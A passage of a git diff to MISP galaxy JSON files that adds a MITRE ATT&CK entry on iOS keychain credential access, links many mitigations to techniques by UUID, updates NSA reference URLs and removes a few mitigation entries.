"Windows", + "SaaS", + "Office 365" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1566", + "https://capec.mitre.org/data/definitions/98.html" + ] + }, + "uuid": "a62a8db3-f23a-4d8f-afd6-9dbc77e7813b", + "value": "Phishing - T1566" + }, + { + "description": "Adversaries may collect the keychain storage data from an iOS device to acquire credentials. Keychains are the built-in way for iOS to keep track of users' passwords and credentials for many services and features such as Wi-Fi passwords, websites, secure notes, certificates, private keys, and VPN credentials.\n\nOn the device, the keychain database is stored outside of application sandboxes to prevent unauthorized access to the raw data. Standard iOS APIs allow applications access to their own keychain contained within the database. By utilizing a privilege escalation exploit or existing root access, an adversary can access the entire encrypted database.(Citation: Apple Keychain Services)(Citation: Elcomsoft Decrypt Keychain)", + "meta": { + "external_id": "AUT-11", + "kill_chain": [ + "mitre-mobile-attack:credential-access" + ], + "mitre_platforms": [ + "iOS" + ], + "refs": [ + "https://attack.mitre.org/techniques/T1579", + "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html", + "https://developer.apple.com/documentation/security/keychain_services", + "https://blog.elcomsoft.com/2018/12/six-ways-to-decrypt-iphone-passwords-from-the-keychain/" + ] + }, + "uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", + "value": "Keychain - T1579" } ], - "version": 12 + "version": 14 } diff --git a/clusters/mitre-course-of-action.json b/clusters/mitre-course-of-action.json index b66805e..b53b5b9 100644 --- a/clusters/mitre-course-of-action.json +++ b/clusters/mitre-course-of-action.json @@ -17,7 +17,7 @@ "https://attack.mitre.org/mitigations/T1060", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -253,6 +253,223 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "79a47ad0-fc3b-4821-9f01-a026b1ddba21", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4cbc6a62-9e34-4f94-8a19-5c1a11392a49", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2cd950a6-16c4-404a-aa01-044322395107", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "840a987a-99bd-4a80-a5c9-0cb2baa6cade", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c48a67ee-b657-45c1-91bf-6cdbe27205f8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ce4b7013-640e-48a9-b501-d0025a95f4bf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6e3bd510-6b33-41a4-af80-2d80f3ee0071", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "9c45eaa3-8604-4780-8988-b5074dbb9ecd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e5cc9e7a-e61a-46a1-b869-55fb6eab058e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "68a0c5ed-bee2-4513-830d-5b0d650139bd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2db31dcd-54da-405d-acef-b9129b816ed6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "01327cde-66c4-4123-bf34-5f258d59457b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "650c784b-7504-4df7-ab2c-4ea882384d1e", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "acd0ba37-7ba9-4cc5-ac61-796586cd856d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "232a7e42-cd6e-4902-8fe9-2960f529dd4d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dfd7cc1d-e1d8-4394-a198-97c4cab8aa67", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "613d08bc-e8f4-4791-80b0-c8b974340dfd", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "a3e1e6c5-9c74-4fc0-a16c-a9d228c17829", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c92e3d68-2349-49e4-a341-7edca2deff96", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b5327dd1-6bf9-4785-a199-25bcbd1f4a9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "eb88d97c-32f1-40be-80f0-d61a4b0b4b31", @@ -301,6 +518,41 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "70e52b04-2a0c-4cea-9d18-7149f1df9dc5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "eb062747-2193-45de-8fa2-e62549c37ddf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e0033c16-a07e-48aa-8204-7c3ca669998c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4f9ca633-15c5-463c-9724-bdcd54fde541", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "1dcaeb21-9348-42ea-950a-f842aaf1ae1f", @@ -314,7 +566,7 @@ "https://attack.mitre.org/mitigations/T1039", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -382,7 +634,7 @@ "https://answers.microsoft.com/windows/forum/windows_10-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, "related": [ @@ -447,7 +699,7 @@ "https://attack.mitre.org/mitigations/T1140", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -479,6 +731,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "27f483c6-6666-44fa-8532-ffd5fc7dab38", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "cf2cccb1-cab8-431a-8ecf-f7874d05f433", @@ -513,7 +772,7 @@ "https://attack.mitre.org/mitigations/T1005", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -538,7 +797,7 @@ "https://attack.mitre.org/mitigations/T1006", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -604,6 +863,20 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "6cac62ce-550b-4793-8ee6-6a1b8836edb0", @@ -640,7 +913,7 @@ "https://attack.mitre.org/mitigations/T1016", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -657,27 +930,6 @@ "uuid": "684feec3-f9ba-4049-9d8f-52d52f3e0e40", "value": "System Network Configuration Discovery Mitigation - T1016" }, - { - "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and will be different across various malware families and versions. Adversaries will likely change tool signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "meta": { - "external_id": "T1071", - "refs": [ - "https://attack.mitre.org/mitigations/T1071", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ] - }, - "related": [ - { - "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "addb3703-5a59-4461-9bcd-7e2b5d4e92a0", - "value": "Standard Application Layer Protocol Mitigation - T1071" - }, { "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if it is not required for business operations. (Citation: TechNet Removable Media Control)\n\nIdentify potentially malicious software that may be used to infect removable media or may result from tainted removable media, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { @@ -688,7 +940,7 @@ "https://technet.microsoft.com/en-us/library/cc772540(v=ws.10).aspx", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -916,6 +1168,321 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "43ba2b05-cf72-4b6c-8243-03a4aba41ee0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c63a348e-ffc2-486a-b9d9-d7f11ec54d99", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "c0dfe7b0-b873-4618-9ff8-53e31f70907f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dfefe2ed-4389-4318-8762-f0272b350a1b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4ff5d6a8-c062-4c68-a778-36fc5edd564f", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "b63a34e8-0a61-4c97-a23b-bf8a2ed812e2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0f2c410d-d740-4ed9-abb1-b8f4a7faf6c3", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "61afc315-860c-4364-825d-0d62b2e91edc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6747daa2-3533-4e78-8fb8-446ebb86448a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "2bce5b30-7014-4a5d-ade7-12913fe6ac36", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1365fe3b-0f50-455d-b4da-266ce31c23b0", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3aef9463-9a7a-43ba-8957-a867e07c1e6a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "837f9164-50af-4ac0-8219-379d8a74cefc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "60b508a1-6a5e-46b1-821a-9f7b78752abf", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "435dfb86-2697-4867-85b5-2fef496c0517", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "65917ae0-b854-4139-83fe-bf2441cf0196", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "34e793de-0274-4982-9c1a-246ed1c19dee", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "09b130a2-a77e-4af0-a361-f46f9aad1345", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "543fceb5-cb92-40cb-aacf-6913d4db58bc", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "3d333250-30e4-4a82-9edc-756c68afc529", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ac08589e-ee59-4935-8667-d845e38fe579", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4eb28bed-d11a-4641-9863-c2ac017d910a", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "5372c5fe-f424-4def-bcd5-d3a8e770f07b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d201d4cc-214d-4a74-a1ba-b3fa09fd4591", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "4d2a5b3e-340d-4600-9123-309dd63c9bf8", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "ac9e6b22-11bf-45d7-9181-c1cb08360931", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "1cfcb312-b8d7-47a4-b560-4b16cc677292", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "32ad5c86-2bcf-47d8-8fdc-d7f3d79a7490", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "d157f9d2-d09a-4efa-bb2a-64963f94e253", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "bf96a5a3-3bce-43b7-8597-88545984c07b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "0c2d00da-7742-49e7-9928-4514e5075d32", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "58af3705-8740-4c68-9329-ec015a7013c2", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "f2857333-11d4-45bf-b064-2c28d8525be5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "fc742192-19e3-466c-9eb5-964a97b29490", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "74d2a63f-3c7b-4852-92da-02d8fbab16da", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "dca670cf-eeec-438f-8185-fd959d9ef211", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "106c0cf6-bf73-4601-9aa8-0945c2715ec5", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "aedfca76-3b30-4866-b2aa-0f1d7fd1e4b6", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "67720091-eee3-4d2d-ae16-8264567f6f5b", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" + }, + { + "dest-uuid": "6b57dc31-b814-4a03-8706-28bc20d739c4", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "987988f0-cf86-4680-a875-2f6456ab2448", @@ -954,7 +1521,7 @@ "https://msdn.microsoft.com/en-us/library/cc144156.aspx", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -966,6 +1533,13 @@ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "mitigates" + }, + { + "dest-uuid": "98034fef-d9fb-4667-8dc4-2eab6231724c", + "tags": [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ], + "type": "mitigates" } ], "uuid": "d7c49196-b40e-42bc-8eed-b803113692ed", @@ -979,7 +1553,7 @@ "https://attack.mitre.org/mitigations/T1025", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -1018,27 +1592,6 @@ "uuid": "e547ed6a-f1ca-40df-8613-2ce27927f145", "value": "Exfiltration Over Physical Medium Mitigation - T1052" }, - { - "description": "Ensure logging and detection mechanisms analyze commands after being processed/interpreted, rather than the raw input. Consider utilizing the Antimalware Scan Interface (AMSI) on Windows 10 for this functionality. (Citation: Microsoft AMSI June 2015)\n\nMitigation of compressed and encrypted files sent over the network and through email may not be advised since it may impact normal operations.", - "meta": { - "external_id": "T1027", - "refs": [ - "https://attack.mitre.org/mitigations/T1027", - "https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/?source=mmpc" - ] - }, - "related": [ - { - "dest-uuid": "b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "a09375e5-63d2-4b65-8b0d-1cfe3e6304ca", - "value": "Obfuscated Files or Information Mitigation - T1027" - }, { "description": "Disable Autorun if it is unnecessary. (Citation: Microsoft Disable Autorun) Disallow or restrict removable media at an organizational policy level if they are not required for business operations. (Citation: TechNet Removable Media Control)", "meta": { @@ -1069,7 +1622,7 @@ "https://attack.mitre.org/mitigations/T1083", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", "https://technet.microsoft.com/en-us/library/ee791851.aspx" ] @@ -1097,7 +1650,7 @@ "https://github.com/mattifestation/PowerSploit", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm" ] }, "related": [ @@ -1121,7 +1674,7 @@ "https://github.com/mattifestation/PowerSploit", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://seclists.org/fulldisclosure/2015/Dec/34" ] }, @@ -1137,28 +1690,6 @@ "uuid": "1022138b-497c-40e6-b53a-13351cbd4090", "value": "File System Permissions Weakness Mitigation - T1044" }, - { - "description": "Follow best practices for network firewall configurations to allow only necessary ports and traffic to enter and exit the network. For example, if services like FTP are not required for sending information outside of a network, then block FTP-related ports at the network perimeter. Enforce proxies and use dedicated servers for services such as DNS and only allow those systems to communicate over respective ports/protocols, instead of all systems within a network. (Citation: TechNet Firewall Design) These actions will help reduce command and control and exfiltration path opportunities.\n\nNetwork intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)", - "meta": { - "external_id": "T1048", - "refs": [ - "https://attack.mitre.org/mitigations/T1048", - "https://technet.microsoft.com/en-us/library/cc700828.aspx", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ] - }, - "related": [ - { - "dest-uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "mitigates" - } - ], - "uuid": "0e5bdf42-a7f7-4d16-a074-4915bd262f80", - "value": "Exfiltration Over Alternative Protocol Mitigation - T1048" - }, { "description": "Identify unnecessary system utilities or potentially malicious software that may be used to acquire information about network connections, and audit and/or block them by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)", "meta": { @@ -1167,7 +1698,7 @@ "https://attack.mitre.org/mitigations/T1049", "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599", "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html", - "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", + "https://apps.nsa.gov/iaarchive/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm", "http://technet.microsoft.com/en-us/magazine/2008.06.srp.aspx", 